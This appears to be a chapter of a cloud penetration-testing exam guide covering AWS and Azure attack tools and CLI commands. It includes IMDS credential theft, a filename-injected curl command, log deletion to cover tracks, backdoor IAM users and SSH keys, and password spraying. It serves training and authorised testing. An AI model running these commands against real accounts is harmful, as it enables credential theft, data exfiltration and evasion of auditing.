Purpose: scan AWS accounts (via Route 53) for dangling DNS records, such as elastic IPs no longer owned by the account.

Full syntax:

```
ghostbuster scan aws --profile <AWS_CLI_profile_name>
ghostbuster scan aws --roles <roles.csv>
ghostbuster scan aws --autoroles <org_role_arn>
```

Breakdown: `--profile` targets one locally configured AWS CLI profile; `--roles` supplies a CSV of account IDs, each needing an assumable `GhostbusterTargetAccountRole`; `--autoroles` auto-discovers every account in an AWS Organization using an organization-lookup role.

Flag table:

Flag	Meaning	When to use	Example
`--profile`	One local AWS CLI profile	Single-account scan	`--profile default`
`--roles`	CSV of target account IDs	Multi-account scan	`--roles roles.csv`
`--autoroles`	Auto-discover org accounts	Whole-organization scan	`--autoroles arn:aws:iam::...`

Demo commands:

```
ghostbuster scan aws --profile default
```

Sample output (conceptual, from the tool's help text):

```
Scan for dangling elastic IPs inside your AWS accounts.
```

This single line, from the tool's own `--help` output, states its exact job: finding IP addresses that still resolve in DNS but are no longer actually allocated to the account.

Common mistakes: running `--autoroles` without first granting the lookup role `organizations:ListAccounts` and `organizations:DescribeAccount` permissions, causing the scan to fail silently across the organization.

What the exam asks: connecting "dangling elastic IP" to the broader concept of subdomain/resource takeover via orphaned DNS records.

5.11 AWS CLI: Enumerating Serverless Resources

Purpose: list and inspect Lambda functions, their triggers and exposed URLs, DynamoDB tables, and API Gateway REST APIs.

Full syntax:

```
aws lambda list-functions
aws lambda get-function-configuration \
    --function-name <function_name>
aws lambda list-function-url-configs \
    --function-name <function_name>
aws lambda list-event-source-mappings \
    --function-name <function_name>
aws iam list-attached-role-policies \
    --role-name <role_name>
aws dynamodb list-tables
aws dynamodb list-global-tables
aws apigateway get-rest-apis
```

Breakdown: every command targets a specific serverless resource type; `--function-name` scopes a call to one Lambda function; the pattern is the same `list-*`/`get-*` read-only style seen throughout this module.

Demo commands:

```
aws lambda list-functions
aws lambda list-function-url-configs \
    --function-name corpFuncEasy
```

Sample output, line by line (trimmed):

```
{
  "FunctionUrlConfigs": [{
    "FunctionUrl": "https://abc123.lambda-url...",
    "AuthType": "NONE"
  }]
}
```

`AuthType: "NONE"` is the critical field: it means this function URL can be called by anyone on the internet with no authentication required at all.

Common mistakes: overlooking `AuthType` entirely and assuming a Function URL's mere existence is not itself a finding; `NONE` auth type is the actual vulnerability.

What the exam asks: recognizing `AuthType: NONE` on a Lambda Function URL as an unauthenticated public endpoint.

5.12 Cartography (graph-based attack path queries)

Purpose: query a graph database of ingested cloud resources to find relationships, like exposed instances or unencrypted databases.

Full syntax (Cypher query examples):

```
MATCH (i:RDSInstance) WHERE i.encrypted = false
RETURN i.name, i.id
MATCH (instance:EC2Instance {exposed_internet: true})
RETURN instance.instanceid, instance.publicdnsname
```

Breakdown: `MATCH` finds nodes matching a pattern (here, an RDS instance or EC2 instance); the `{...}` filter narrows to a specific property value; `RETURN` lists which fields to display.

Demo commands: Cartography itself is run once to ingest data (`cartography --neo4j-uri ...`), then queries like the above are run in a Neo4j browser or client against that ingested graph.

Sample output, line by line:

```
instance.instanceid | instance.publicdnsname
i-0538...           | ec2-...us-west-1...
```

Each row is one EC2 instance confirmed to be internet-exposed, instantly listed without manually calling `describe-instances` region by region.

Common mistakes: treating Cartography's graph as always up to date; it reflects data as of the LAST ingestion run, not live state.

What the exam asks: recognizing Cypher-style `MATCH`/`RETURN` syntax as graph-database querying, distinct from AWS CLI JSON output.

5.13 CloudFox (targeted AWS attack-path checks)

Purpose: run targeted checks across an AWS account to surface exploitable attack paths quickly.

Full syntax:

```
cloudfox aws --profile <profile_name> all-checks
cloudfox aws --profile <profile_name> -v2 access-keys
cloudfox aws -p <profile_name> eni -v2
cloudfox aws --profile <profile_name> permissions -v2
cloudfox aws --profile <profile_name> workloads
```

Breakdown: `-p`/`--profile` selects which AWS CLI profile to use; the final word (`all-checks`, `access-keys`, `eni`, `permissions`, `workloads`) selects which specific check module to run; `-v2` selects output format version 2.

Flag table:

Flag	Meaning	When to use	Example
`-p` / `--profile`	AWS CLI profile to use	Always required	`-p default`
`-v2`	Use output format v2	Newer, structured output	`-v2`

Demo commands:

```
cloudfox aws --profile default all-checks
cloudfox aws --profile default workloads
```

Sample output, line by line (conceptual):

```
[*] Principal: ec2-instance-role-01
[*] Permissions: AdministratorAccess
[*] Attached to: i-0538abc123 (internet-facing)
```

This line format tells the attacker exactly which compute resource holds admin-level permissions AND is internet-facing, the single highest-value target combination.

Common mistakes: running only `all-checks` and skimming past the much more specific `workloads` output, which highlights the most dangerous admin-permission findings directly.

What the exam asks: recognizing CloudFox as CLI-driven, targeted- check tooling, versus Cartography's full graph-database approach.

5.14 AWS CLI: Finding and Widening Open Security Groups

Purpose: find security groups allowing unrestricted inbound traffic, and (if already privileged) widen one further.

Full syntax:

```
aws ec2 describe-security-groups \
    --filter Name=ip-permission.cidr,Values=0.0.0.0/0,::/0 \
    --filter Name=ip-permission.from-port,Values=<port>
aws ec2 authorize-security-group-ingress \
    --group-id <sg_id> --protocol <protocol> \
    --port <port_number> --cidr 0.0.0.0/0
```

Breakdown: `--filter Name=...,Values=...` narrows `describe- security-groups` results to only rules matching a CIDR and/or port; `authorize-security-group-ingress` is a WRITE action that adds a new inbound rule, here deliberately opening a port to the whole internet.

Flag table:

Flag	Meaning	When to use	Example
`--filter`	Narrow describe results	Finding specific exposure	`ip-permission.cidr,Values=0.0.0.0/0`
`--group-id`	Target one security group	Modifying a specific group	`--group-id sg-0123`
`--cidr`	IP range for the new rule	`0.0.0.0/0` = whole internet	see above

Demo commands:

```
aws ec2 describe-security-groups \
    --filter Name=ip-permission.cidr,Values=0.0.0.0/0
```

Sample output, line by line (trimmed):

```
{"SecurityGroups": [{
  "GroupId": "sg-0123",
  "IpPermissions": [{"FromPort": 3389, "ToPort": 3389}]
}]}
```

This confirms security group `sg-0123` allows traffic on port 3389 (RDP) from `0.0.0.0/0`, an internet-wide exposure on a sensitive remote-access port.

Common mistakes: confusing `describe-security-groups` (read-only, safe to run) with `authorize-security-group-ingress` (a WRITE action that actually changes network exposure); only the second one modifies anything.

What the exam asks: recognizing `0.0.0.0/0` and `::/0` as "any IPv4/IPv6 address," and that `authorize-security-group-ingress` is a state-changing command, not a read-only one.

5.15 Stratus Red Team (cloud threat emulation)

Purpose: list and safely detonate specific, MITRE ATT&CK-mapped attack techniques against your own AWS/Azure/GCP/Kubernetes environment, for defense testing.

Full syntax:

```
stratus list --platform aws \
    --mitre-attack-tactic persistence
stratus detonate <technique_id>
stratus detonate <technique_id> --force
```

Breakdown: `list` shows available techniques, filterable by `--platform` and `--mitre-attack-tactic`; `detonate` actually executes one named technique by its ID; `--force` skips the "already warmed up" check and reruns anyway.

Flag table:

Flag	Meaning	When to use	Example
`--platform`	Cloud platform to filter by	Scoping the technique list	`--platform aws`
`--mitre-attack-tactic`	MITRE tactic to filter by	Testing one tactic category	`persistence`
`--force`	Re-run even if already warmed	Repeat testing	`detonate <id> --force`

Demo commands:

```
stratus list --platform aws \
    --mitre-attack-tactic persistence
stratus detonate \
    aws.persistence.backdoor-lambda-function
```

Sample output, line by line:

```
Checking your authentication against the AWS API
Backdooring the resource-based policy of the Lambda
function stratus-sample-lambda-function
```

These lines confirm Stratus Red Team checked AWS auth first, then performed the EXACT backdoor action named by the technique ID, inside your own test environment.

Common mistakes: running `detonate` against a PRODUCTION account instead of an isolated test account; this tool performs REAL actions, not a simulation.

What the exam asks: distinguishing Stratus Red Team (safe, self-contained threat emulation) from Pacu (actual exploitation framework, section 5.18).

5.16 curl against the Instance Metadata Service (IMDS)

Purpose: retrieve an EC2 instance's attached IAM role name, then its temporary access credentials, from the metadata service.

Full syntax:

```
curl http://169.254.169.254/latest/meta-data/iam/\
security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/\
security-credentials/<IAM-Role-Name>
```

Breakdown: the first call (no role name) lists every IAM role attached to the instance; the second call, with a role name appended, returns that role's full temporary credentials in JSON.

Demo commands:

```
curl http://169.254.169.254/latest/meta-data/iam/\
security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/\
security-credentials/s3_access_for_ec2
```

Sample output, line by line:

```
{
  "Code": "Success",
  "AccessKeyId": "ASIAUR7KWXJQA45VK2F6",
  "SecretAccessKey": "bWCySqSDC71dCB...",
  "Token": "IQoJb3JpZ2luX2VjEG...",
  "Expiration": "2019-12-09T05:00:37Z"
}
```

`Code: "Success"` confirms the call worked; `AccessKeyId`, `SecretAccessKey`, and `Token` together form one complete, temporary STS-style credential set; `Expiration` shows when it stops working.

Common mistakes: trying this against an instance running IMDSv2, which requires a `PUT` request first to obtain a session token (`X-aws-ec2-metadata-token`); a plain `GET` like the one above will fail on IMDSv2-enforced instances.

What the exam asks: memorizing the exact address `169.254.169.254` and the path `/latest/meta-data/iam/security-credentials/`.

5.17 AWS CLI: Exploiting Misconfigured S3 Buckets

Purpose: confirm a bucket is accessible, then read, write, or delete its contents.

Full syntax:

```
aws configure
aws s3 ls s3://[bucket_name]
aws s3 mv FileName s3://[bucket_name]/test-file.txt \
    --no-sign-request
aws s3 cp FileName s3://[bucket_name]/test-file.svg \
    --no-sign-request
aws s3 rm s3://[bucket_name]/test-file.svg \
    --no-sign-request
```

Breakdown: `aws configure` sets the access key/secret/region used by later commands; `s3 ls` lists bucket contents; `s3 mv`/`s3 cp`/`s3 rm` move, copy, and delete objects respectively; `--no-sign-request` tells the CLI to send the request with NO credentials at all, which only works if the bucket permits fully anonymous access.

Flag table:

Flag	Meaning	When to use	Example
`--no-sign-request`	Send request unauthenticated	Testing anonymous access	see above

Demo commands:

```
aws s3 ls s3://victim-bucket --no-sign-request
aws s3 cp notes.txt s3://victim-bucket/notes.txt \
    --no-sign-request
```

Sample output, line by line:

```
2024-01-15 10:22:03    4821 report.pdf
2024-02-02 09:10:51  102400 backup.zip
```

Each line is one object: date/time modified, size in bytes, and object key (filename); successfully listing this with `--no-sign-request` confirms the bucket allows anonymous read access.

Common mistakes: forgetting `--no-sign-request` and getting an `AccessDenied` error even though the bucket IS actually publicly accessible to unauthenticated requests specifically.

What the exam asks: recognizing `--no-sign-request` as the flag that tests TRUE anonymous access, separate from using valid-but- unauthorized credentials.

5.18 Pacu / assume_role_enum.py (IAM role hijacking)

Purpose: enumerate IAM role names in a target account and attempt to assume any that are vulnerably configured.

Full syntax:

```
py assume_role_enum.py --account-id <account_id> \
    --profile default
```

Breakdown: `--account-id` is the 12-digit target AWS account ID to guess role names against; `--profile` is the LOCAL attacker credential profile used to attempt each `sts:AssumeRole` call.

Demo commands:

```
py assume_role_enum.py --account-id 341158 \
    --profile default
```

Sample output, line by line:

```
Found restricted role: arn:aws:iam::341158:role/S3
** Found vulnerable role: arn:aws:iam::341158:role/
   APIGateway **
Successfully assumed role: arn:aws:iam::341158:role/
APIGateway
```

"Found restricted role" means the role exists but could not be assumed; "Found vulnerable role" (marked with `**`) means it was successfully assumed, and the next line confirms the resulting temporary credentials now belong to the attacker.

Common mistakes: this script does not verify the supplied credentials actually HAVE `sts:AssumeRole` permission on all resources; a "restricted" result may sometimes just mean the attacker's own credential lacks permission, not that the role itself is safe.

What the exam asks: recognizing `"Principal": "*"` in a role's trust policy as the root cause that makes a role "vulnerable" to this exact technique.

5.19 DumpsterDiver (secret scanning)

Purpose: scan a directory (or archive) of files for hardcoded secrets, such as AWS keys, SSL keys, and passwords.

Full syntax:

```
dumpsterDiver -p /path/to/scan
dumpsterDiver -p /path/to/scan -e AWS_KEY
```

Breakdown: `-p` points to the directory to scan; `-e` restricts the scan to one specific secret category defined in the tool's `rules.yaml` file.

Flag table:

Flag	Meaning	When to use	Example
`-p`	Path to scan	Always required	`-p /home/user/files`
`-e`	Restrict to one secret type	Faster, targeted scan	`-e AWS_KEY`

Demo commands:

```
dumpsterDiver -p /home/attacker/leaked_backup
```

Sample output, line by line:

```
INTERESTING FILE HAS BEEN FOUND!!!
.../source_folder/users.csv
FOUND HIGH ENTROPY!!!
The following string: 1xRV/uiC4kmZQryIZxSS1Q6xNLZ...
has been found in .../source_folder/config.php
```

The first block flags a file matching a known RULE (like an AWS key pattern); the second block flags a HIGH-ENTROPY string that does not match any known pattern but still looks random enough to be a secret.

Common mistakes: dismissing "high entropy" findings as false positives without checking them; many real, unlabeled secrets are only ever caught this way.

What the exam asks: understanding that entropy-based detection catches secrets that pattern-based (rule-based) detection would miss.

5.20 CCAT (Cloud Container Attack Tool)

Purpose: enumerate AWS ECR repositories, pull a target image, backdoor it, and push the modified image back.

Full syntax (interactive menu selections):

```
Enumerate ECR
Pull Repos from ECR
Docker Backdoor
Push Repos to ECR
```

Breakdown: CCAT runs as an interactive, menu-driven tool rather than a single-line CLI command; each listed item is one selectable module performing one step of the attack chain.

Demo workflow:

1. Select "Enumerate ECR" to list repositories the current AWS credentials can see.
2. Select "Pull Repos from ECR" and choose a repository to download.
3. Select "Docker Backdoor" to inject a reverse-shell `CMD` into the pulled image.
4. Select "Push Repos to ECR" to upload the backdoored image back.

Sample output, line by line:

```
Found 5 repositories in us-east-1
Found 3 repositories in us-east-2
ecr_enum_repos completed.
MODULE SUMMARY: Total 8 ECR Repositories Enumerated
```

This confirms CCAT's enumeration step found 8 total repositories across two regions before the attacker chooses which one to backdoor.

Common mistakes: backdooring and pushing an image to a repository the attacker does NOT actually have legitimate ongoing access to monitor, wasting the effort since they cannot catch the resulting reverse shell.

What the exam asks: recognizing this as a supply-chain attack: poisoning the IMAGE, not the running container.

5.21 SkyArk (shadow admin discovery)

Purpose: discover entities (users, roles) in AWS or Azure holding sensitive, admin-equivalent permissions, even without an "admin" label.

Full syntax:

```
.\SkyArk.ps1
```

Breakdown: SkyArk is launched as a single PowerShell script; once running, it offers its two scanning modules (`AWStealth`, `AzureStealth`) to choose from interactively.

Demo commands:

```
.\SkyArk.ps1
```

Sample output, line by line:

```
Welcome to SkyArk v2.0
The two main scanning modules are:
AWStealth & AzureStealth
```

This banner confirms the tool launched correctly and names its two platform-specific scanning modules.

Common mistakes: running `AWStealth` with credentials that lack read access to IAM policy details, which silently limits how many shadow admins the scan can actually detect.

What the exam asks: recognizing "shadow admin" as an account with dangerous permissions but no obvious "Admin" title.

5.22 AWS CLI: Using Stolen Credentials After SSRF (IMDS Chain)

Purpose: confirm a stolen credential's identity, then enumerate and download data it can access.

Full syntax:

```
aws configure
aws sts get-caller-identity --profile stolen_profile
aws s3 ls --profile stolen_profile
aws s3 sync s3://bucket-name \
    /home/attacker/localstash/targetcloud/ \
    --profile stolen_profile
```

Breakdown: `aws configure` saves the stolen credentials under a chosen profile name; `sts get-caller-identity` confirms exactly which identity/account the credential belongs to; `s3 ls` lists accessible buckets; `s3 sync` recursively downloads an entire bucket's contents to a local folder.

Flag table:

Flag	Meaning	When to use	Example
`--profile`	Which saved credential profile to use	Every command here	`--profile stolen_profile`

Demo commands:

```
aws sts get-caller-identity --profile stolen_profile
aws s3 sync s3://finance-reports /tmp/loot/ \
    --profile stolen_profile
```

Sample output, line by line:

```
{
  "UserId": "AROAEXAMPLE:i-0538abc123",
  "Account": "341158",
  "Arn": "arn:aws:sts::341158:assumed-role/s3_access/..."
}
```

The `Arn` field confirms this is an ASSUMED ROLE session (not a long-term IAM user), tying directly back to the IMDS-stolen role credential from section 5.16.

Common mistakes: skipping `get-caller-identity` and going straight to `s3 sync`; always confirm what you actually have access to first, to avoid noisy failed calls against resources out of scope.

What the exam asks: connecting SSRF -> IMDS -> stolen role credential -> `aws s3 sync` as one continuous attack chain (also see section 3.55).

5.23 AWS CLI: Lambda Black-Box and White-Box Attack Commands

Purpose: probe how a Lambda function processes S3 object uploads (black-box), or directly inspect a known function's code and permissions (white-box).

Full syntax (Black-Box):

```
aws s3 ls prod-file-bucket-eu
aws s3api get-object-tagging \
    --bucket prod-file-bucket-eu --key <object_key>
aws s3 cp config.zip \
    's3://prod-file-bucket-eu/screen;curl -X POST \
    -d "testCurl" <Target_IP>:443;.zip'
```

Full syntax (White-Box):

```
aws iam list-attached-user-policies \
    --user-name operator
aws lambda list-functions
aws lambda get-function --function-name corpFuncEasy
```

Breakdown: in the black-box example, the object KEY (filename) itself contains an injected shell command (`;curl -X POST -d "testCurl" <Target_IP>:443;`), hoping the Lambda function's file-processing logic executes it unsafely; in the white-box example, each command directly inspects a known user's policies, then a known function's existence and code.

Demo commands:

```
aws s3api get-object-tagging \
    --bucket prod-file-bucket-eu --key report.pdf
aws lambda get-function \
    --function-name corpFuncEasy
```

Sample output, line by line (white-box, trimmed):

```
{
  "Configuration": {
    "FunctionName": "corpFuncEasy",
    "Role": "arn:aws:iam::341158:role/lambda-exec"
  },
  "Code": {"Location": "https://..."}
}
```

`Code.Location` is a presigned URL where the attacker can directly download the function's deployment package (its actual source code) for offline analysis.

Common mistakes: in the black-box filename-injection technique, forgetting that most object storage systems treat the key as a plain string; the injection ONLY succeeds if the Lambda function's own code unsafely passes that filename into a shell command.

What the exam asks: distinguishing black-box (no prior info, probing file-processing behavior) from white-box (already has IAM/ function details) Lambda attacks.

5.24 Endgame (mass resource exposure)

Purpose: list resources by service, then intentionally add internet-wide access to one or many resources at once.

Full syntax:

```
endgame list-resources -s iam
endgame list-resources --service s3
endgame list-resources --service all
endgame expose --service iam \
    --name test-resource-exposure
endgame smash --service all
```

Breakdown: `list-resources` is read-only recon by service; `expose` adds internet-wide (`*`) access to ONE named resource; `smash` runs `expose`-equivalent logic across EVERY discovered resource of EVERY type at once.

Flag table:

Flag	Meaning	When to use	Example
`-s` / `--service`	Target one service (or `all`)	Scoping the action	`--service s3`
`--name`	Target one specific resource	Precise, single exposure	`--name my-bucket`

Demo commands:

```
endgame list-resources --service s3
endgame expose --service s3 \
    --name test-resource-exposure
```

Sample output, line by line:

```
S3 Bucket victimbucket1234: Add internet-wide
access * SUCCESS
IAM Role ElonMusk: Add internet-wide access *
SUCCESS
```

Each line reports one resource and whether widening its access policy to `*` (everyone) succeeded; a `FAILED` result usually means the credential lacked permission to modify that specific resource's policy.

Common mistakes: running `smash --service all` in a real, non-test AWS account; this performs REAL, WIDESPREAD exposure changes across the whole account, not a simulation.

What the exam asks: recognizing that AWS backdooring often means WIDENING EXISTING resource policies to `*`, not creating a new user.

5.25 AWS CLI: Manipulating CloudTrail (Covering Tracks)

Purpose: stop and delete an AWS account's audit trail, and delete the bucket storing its log files.

Full syntax:

```
aws cloudtrail stop-logging \
    --name targetcloud_trail --profile administrator
aws cloudtrail delete-trail \
    --name targetcloud_trail --profile administrator
aws s3 rb s3://<Bucket_Name> --force \
    --profile administrator
```

Breakdown: `stop-logging` pauses the named trail without deleting its configuration; `delete-trail` removes the trail configuration entirely; `s3 rb ... --force` removes the S3 bucket AND all objects inside it (the `--force` flag is required to delete a non-empty bucket).

Flag table:

Flag	Meaning	When to use	Example
`--name`	Target trail name	Every CloudTrail command here	`--name targetcloud_trail`
`--force`	Delete bucket even if not empty	Removing log-storage buckets	`aws s3 rb ... --force`

Demo commands:

```
aws cloudtrail stop-logging --name targetcloud_trail
aws cloudtrail delete-trail --name targetcloud_trail
```

Sample output: these commands return no output on success (an empty, successful response), which is itself notable: there is no confirmation banner warning the operator what was just disabled.

Common mistakes: assuming `stop-logging` alone is permanent; it only pauses logging, so an alert engineer can simply restart it with `aws cloudtrail start-logging` if they notice in time, unlike `delete-trail`, which requires full reconfiguration to restore.

What the exam asks: memorizing `stop-logging` versus `delete- trail` as two distinct severity levels of covering tracks on AWS.

5.26 AWS CLI and Shell: Establishing EC2 Persistence

Purpose: create backdoor users/roles and plant startup-script or SSH-key persistence directly on a compromised EC2 instance.

Full syntax:

```
aws iam create-user --user-name <Username>
aws iam attach-user-policy --user-name <Username> \
    --policy-arn \
    arn:aws:iam::aws:policy/AdministratorAccess
echo "malicious_script_path" >> /etc/rc.local
echo "attacker_key" >> ~/.ssh/authorized_keys
aws iam create-role --role-name <Role-name> \
    --assume-role-policy-document \
    file://Test-Role-Trust-Policy.json
aws iam attach-role-policy --role-name <Role-name> \
    --policy-arn \
    arn:aws:iam::aws:policy/AdministratorAccess
```

Breakdown: `create-user`/`attach-user-policy` make a brand-new admin-level IAM user; the two `echo >>` lines append (not overwrite) a line to a startup script and to an SSH authorized-keys file, respectively; `create-role`/`attach-role-policy` make a new, similarly privileged IAM role as a redundant backdoor.

Flag table:

Flag	Meaning	When to use	Example
`--policy-arn`	ARN of the policy to attach	Granting admin rights	`.../AdministratorAccess`
`--assume-role-policy-document`	Trust policy for a new role	Defining who can assume it	`file://Test-Role-Trust-Policy.json`

Demo commands:

```
echo "attacker_ssh_pub_key" >> \
    ~/.ssh/authorized_keys
aws iam attach-user-policy \
    --user-name backup-svc \
    --policy-arn \
    arn:aws:iam::aws:policy/AdministratorAccess
```

Sample output: `echo >>` commands print nothing on success; the only way to notice the change is examining the file's contents afterward, which is exactly why this technique is stealthy.

Common mistakes: using a single `>` instead of `>>` when testing these commands, which would OVERWRITE and destroy the entire existing `authorized_keys` or `rc.local` file instead of appending to it.

What the exam asks: recognizing `>>` as append (preserves existing content) versus `>` as overwrite (destroys existing content), a detail tested across multiple modules.

5.27 AWS CLI: Lateral Movement Across Accounts and Regions

Purpose: assume a role in another AWS account, then enumerate that account's resources across every region.

Full syntax:

```
aws iam list-roles
aws sts assume-role \
    --role-arn \
    arn:aws:iam::<target-account-id>:role/<role_name> \
    --role-session-name <session_name>
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
aws s3 ls
aws iam list-attached-user-policies \
    --user-name <assumed_user_name>
aws iam list-attached-role-policies \
    --role-name <assumed_role_name>
aws ec2 describe-regions
aws s3api list-buckets --query <filter>
```

Breakdown: `sts assume-role` returns temporary credentials for a role in a DIFFERENT account; the three `export` lines load those temporary credentials into the current shell session so every following AWS CLI call acts as that assumed role; `describe-regions` then lists every AWS region to check systematically.

Flag table:

Flag	Meaning	When to use	Example
`--role-arn`	Full ARN of role to assume	Cross-account access	`arn:aws:iam::999:role/X`
`--role-session-name`	Label for this session	Required by `assume-role`	`--role-session-name pentest`
`--query`	JMESPath filter on output	Narrowing large results	`--query 'Buckets[].Name'`

Demo commands:

```
aws sts assume-role \
    --role-arn arn:aws:iam::999999999999:role/Trusted \
    --role-session-name lateral-test
export AWS_SESSION_TOKEN=FwoGZXIvYXdz...
```

Sample output, line by line (trimmed):

```
{
  "Credentials": {
    "AccessKeyId": "ASIA...",
    "SessionToken": "FwoGZXIvYXdz...",
    "Expiration": "2024-06-28T12:00:00Z"
  }
}
```

These three credential fields are exactly what gets exported into the shell's environment variables for every subsequent AWS CLI call to use automatically.

Common mistakes: forgetting to export ALL THREE variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, AND `AWS_SESSION_ TOKEN`); temporary STS credentials always need the session token too, unlike permanent IAM user access keys.

What the exam asks: knowing that `aws ec2 describe-regions` is the specific command that enables systematic cross-region lateral movement, and that STS credentials require all three exported variables.

5.28 AADInternals (Azure AD/O365 recon)

Purpose: perform unauthenticated or lightly authenticated reconnaissance against an Azure AD/Office 365 tenant.

Full syntax:

```
Invoke-AADIntReconAsOutsider -DomainName <domain> | `
    Format-Table
Get-AADIntLoginInformation -Domain <domain>
Invoke-AADIntReconAsGuest
Get-AADIntTenantDomains -Domain <domain>
```

Breakdown: `ReconAsOutsider` needs NO credentials and profiles an entire tenant from its domain name alone; `LoginInformation` checks one domain/user's authentication type; `ReconAsGuest` uses a low-privilege guest session for deeper recon; `TenantDomains` lists every domain registered to that same tenant.

Demo commands:

```
Invoke-AADIntReconAsOutsider -DomainName eccouncil.org |
    Format-Table
Get-AADIntTenantDomains -Domain eccouncil.org
```

Sample output, line by line:

```
Name                DNS   MX   SPF  DMARC  Type
eccouncil.org       True  True True False  Managed
```

Each row is one related domain, with columns confirming which DNS record types exist; `Type: Managed` confirms this domain uses Azure AD's own (non-federated) authentication.

Common mistakes: confusing `ReconAsOutsider` (no credentials needed at all) with `ReconAsGuest` (needs at least a guest-level session); a question may test which mode requires what access level.

What the exam asks: recognizing that `ReconAsOutsider` works with ZERO credentials, which is a notable, testable detail.

5.29 MicroBurst (Azure resource enumeration)

Purpose: enumerate Azure subscription resources and services using an already-authenticated Az PowerShell session.

Full syntax:

```
Import-Module .\MicroBurst.psm1
New-Item -Name "microburst-output" `
    -ItemType "directory"
Get-AzDomainInfo -Verbose `
    -Folder microburst-output
explorer microburst-output
```

Breakdown: `Import-Module` loads MicroBurst's functions into the current session; `New-Item` creates an output folder; `Get- AzDomainInfo` is the main enumeration function, writing CSV files (such as `Users.csv`, `All_Resources.csv`) into that folder; `explorer` opens the folder in Windows File Explorer to review results.

Demo commands:

```
Import-Module .\MicroBurst.psm1
Get-AzDomainInfo -Verbose -Folder output
```

Sample output (one row from `Users.csv`):

```
UserPrincipalName,ObjectType,GivenName,Surname
david@azurepentesting.com,User,David,Okeyode
```

Each row lists one Azure AD user's principal name and basic profile fields, building a ready-made target list for password spraying (section 5.30).

Common mistakes: running `Get-AzDomainInfo` without first running `Connect-AzAccount`; MicroBurst requires an AUTHENTICATED session, not anonymous recon like AADInternals's outsider mode.

What the exam asks: recognizing that MicroBurst needs prior Az authentication, unlike AADInternals's zero-credential outsider mode.

5.30 AzureGraph and Spray365 (AD enumeration and password spraying)

Purpose: enumerate Azure AD users/groups/devices via Microsoft Graph (AzureGraph), then attempt a password-spray login against those discovered accounts (Spray365).

Full syntax:

```
gr$list_users()
gr$get_user("username")
```

```
python spray365.py generate normal \
    -ep <execution_plan_filename> -d <domain_name> \
    -u <usernames_file> -pf <passwords_file> \
    --delay 10
python3 spray365.py spray -ep <execution_plan_filename>
```

Breakdown: AzureGraph's `gr$` functions are R language calls (AzureGraph is an R package); `spray365.py generate` builds an execution PLAN pairing every username with every password, with a `--delay` (seconds) between attempts; `spray365.py spray` actually executes that saved plan against Azure AD login.

Flag table:

Flag	Meaning	When to use	Example
`-ep`	Execution plan filename	Both generate and spray steps	`-ep demo.ep`
`-d`	Target domain	Generate step	`-d attawards.com`
`-u` / `-pf`	Usernames file / passwords file	Generate step	`-u users.txt`
`--delay`	Seconds between attempts	Avoiding lockout/ detection	`--delay 10`

Demo commands:

```
python spray365.py generate normal -ep demo.ep \
    -d attawards.com -u users -pf passwords \
    --delay 10
```

Sample output, line by line:

```
[INFO]: Generating execution plan from 5 users
and 4 passwords
[INFO]: Generated execution plan with 20
credentials
```

This confirms the plan combined every user with every password (5 x 4 = 20 total login attempts), BEFORE any attempt is actually made against Azure AD.

Common mistakes: setting `--delay` too low, triggering Azure AD Smart Lockout or generating an obvious burst pattern in sign-in logs.

What the exam asks: distinguishing password SPRAYING (few passwords, many accounts, with delay) from brute forcing (many passwords, one account).

5.31 Stormspotter (Azure attack surface mapping)

Purpose: collect Azure subscription data for graph-based attack- surface analysis.

Full syntax:

```
python3 sscollector.pyz cli
python3 sscollector.pyz spn -t <tenant> \
    -c <clientID> -s <clientSecret>
```

Breakdown: `cli` mode authenticates interactively (prompting the user); `spn` mode authenticates non-interactively using a Service Principal Name's tenant ID, client ID, and client secret.

Flag table:

Flag	Meaning	When to use	Example
`-t`	Azure tenant ID	SPN authentication	`-t <tenant-guid>`
`-c`	Service principal client ID	SPN authentication	`-c <client-guid>`
`-s`	Service principal client secret	SPN authentication	`-s <secret>`

Demo commands:

```
python3 sscollector.pyz spn -t abcd-1234 \
    -c efgh-5678 -s MySecretValue
```

Sample output: Stormspotter's collector writes ingested resource data to a local database file, which is then explored visually in its web-based graph UI, not printed as terminal text.

Common mistakes: using `spn` mode with a service principal that has far narrower read access than the user running `cli` mode would have, producing an incomplete map.

What the exam asks: recognizing `spn` as the non-interactive, automatable authentication mode.

5.32 AzureHound (BloodHound data collection for Azure)

Purpose: collect AzureAD and AzureRM data for attack-path analysis in BloodHound.

Full syntax:

```
azurehound list -u "$USERNAME" -p "$PASSWORD" \
    -t "$TENANT"
azurehound list -u "$USERNAME" -p "$PASSWORD" \
    -t "$TENANT" -o "mytenant.json"
azurehound configure
azurehound start
```

Breakdown: `list` performs a one-time full data pull, printed to standard output by default, or saved to a file with `-o`; `configure` sets up credentials/settings for ongoing use; `start` begins a continuous collection service feeding BloodHound Enterprise.

Flag table:

Flag	Meaning	When to use	Example
`-u` / `-p`	Username / password	Authenticating the collector	`-u admin@x.com`
`-t`	Tenant to collect from	Always required	`-t contoso.onmicrosoft.com`
`-o`	Output file path	Saving results to disk	`-o mytenant.json`

Demo commands:

```
azurehound list -u "$USERNAME" -p "$PASSWORD" \
    -t "$TENANT" -o "tenant_data.json"
```

Sample output, line by line:

```
AzureHound v0.0.0
Created by the BloodHound Enterprise team
```

This banner confirms the tool version and origin before beginning data collection; actual collected data is written to the specified output, not shown directly on screen.

Common mistakes: running `list` repeatedly for ongoing monitoring instead of using `configure`/`start`, which is the tool's actual built-in mechanism for continuous collection.

What the exam asks: connecting AzureHound's output purpose directly to BloodHound-style attack-path graph analysis.

5.33 Goblob (public Azure Blob enumeration)

Purpose: find publicly accessible Azure Blob storage containers and accounts.

Full syntax:

```
./goblob -accounts <storage_account_name>
./goblob -accounts accounts.txt
./goblob -accounts accounts.txt -containers \
    wordlists/goblob-folder-names.txt
```

Breakdown: `-accounts` takes either one account name or a file listing many; `-containers` supplies a wordlist of likely container names to try against each discovered account.

Flag table:

Flag	Meaning	When to use	Example
`-accounts`	Storage account name(s)	Always required	`-accounts accounts.txt`
`-containers`	Container name wordlist	Deeper enumeration	`-containers list.txt`

Demo commands:

```
./goblob -accounts accounts.txt -containers \
    wordlists/goblob-folder-names.txt
```

Sample output, line by line:

```
[~][2/4] Searching 2040 containers in account
'eurekamediastore'
[~] Analyzing container 'media' in account
'eurekamediastore' (page 1)
```

